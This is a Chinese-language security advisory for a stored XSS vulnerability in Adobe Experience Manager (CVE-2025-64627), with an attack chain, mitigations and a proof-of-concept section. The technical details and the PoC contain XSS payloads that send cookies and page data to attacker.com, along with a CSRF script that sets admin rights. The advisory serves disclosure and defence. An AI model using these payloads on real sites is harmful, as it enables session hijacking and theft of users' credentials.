CVE-2025-64627 Adobe Experience Manager存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-64627

漏洞类型

存储型跨站脚本攻击(XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64627是Adobe Experience Manager中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响6.5.23及更早版本，CVSS评分为5.4（中危）。攻击者利用低权限账户即可在表单字段中注入恶意JavaScript代码。由于是存储型XSS，恶意脚本会被永久保存在服务器端，所有访问包含该表单字段页面的用户都会受到攻击。当受害者浏览到包含恶意脚本的页面时，攻击者注入的JavaScript代码会在受害者浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等危害。此漏洞需要用户交互才能触发，攻击复杂度较低，但因其存储特性，危害范围较广。Adobe已发布安全公告APSB25-115，建议用户尽快更新到最新版本以修复此漏洞。

技术细节

Adobe Experience Manager的存储型XSS漏洞存在于表单字段处理逻辑中。攻击者以低权限用户身份登录系统后，可在表单输入点注入恶意JavaScript代码，如：<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于应用程序未对用户输入进行充分的输出编码和验证，恶意脚本被存储在数据库中。当其他用户访问包含该表单字段的页面时，服务器从数据库读取并返回未经过滤的内容，导致恶意脚本在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话cookie、进行CSRF攻击、修改页面内容或重定向用户到恶意网站。由于攻击需要用户浏览特定页面才能触发，CVSS向量中UI:R（需要用户交互）符合此特征。修复方案应在输出时对所有用户可控数据进行HTML实体编码，并实施内容安全策略(CSP)。

攻击链分析

STEP 1

步骤1

攻击者获取Adobe Experience Manager低权限账户（如内容作者或普通用户）

STEP 2

步骤2

攻击者登录系统，访问包含表单字段的页面（如内容编辑、评论提交或用户资料表单）

STEP 3

步骤3

在表单输入字段中注入恶意JavaScript代码，如<script>标签或事件处理器属性

STEP 4

步骤4

提交表单，恶意脚本被存储在服务器数据库中，未经过滤或转义

STEP 5

步骤5

受害者访问包含该表单字段的页面，服务器从数据库读取并返回恶意内容

STEP 6

步骤6

受害者浏览器执行恶意JavaScript代码，导致会话劫持、信息窃取或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Stored XSS PoC for CVE-2025-64627 -->
<!-- Inject into vulnerable form field -->
<script>alert('XSS - CVE-2025-64627')</script>

<!-- Cookie stealing payload -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))">

<!-- Session hijacking payload -->
<script>
  fetch('https://attacker.com/log?data='+btoa(JSON.stringify({
    cookie: document.cookie,
    url: location.href,
    referrer: document.referrer
  })));
</script>

<!-- CSRF attack payload -->
<script>
  fetch('/api/admin/settings', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({admin: true})
  });
</script>

<!-- Stored XSS via SVG element -->
<svg/onload=fetch('https://attacker.com/'+document.domain)>

影响范围

Adobe Experience Manager 6.5.23及更早版本

Adobe Experience Manager 6.5.x < 6.5.24

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 禁用或限制低权限用户创建和编辑表单内容的功能；2) 实施输入验证和过滤规则，对<script>、<img>、<svg>等危险标签进行过滤；3) 部署Web应用防火墙(WAF)规则检测和阻止XSS攻击载荷；4) 启用HTTPOnly和Secure标志保护Cookie；5) 实施内容安全策略(CSP)限制脚本来源；6) 监控和审计所有用户提交的内容；7) 对管理员和内容编辑人员进行安全意识培训，提高对社工攻击的警惕性。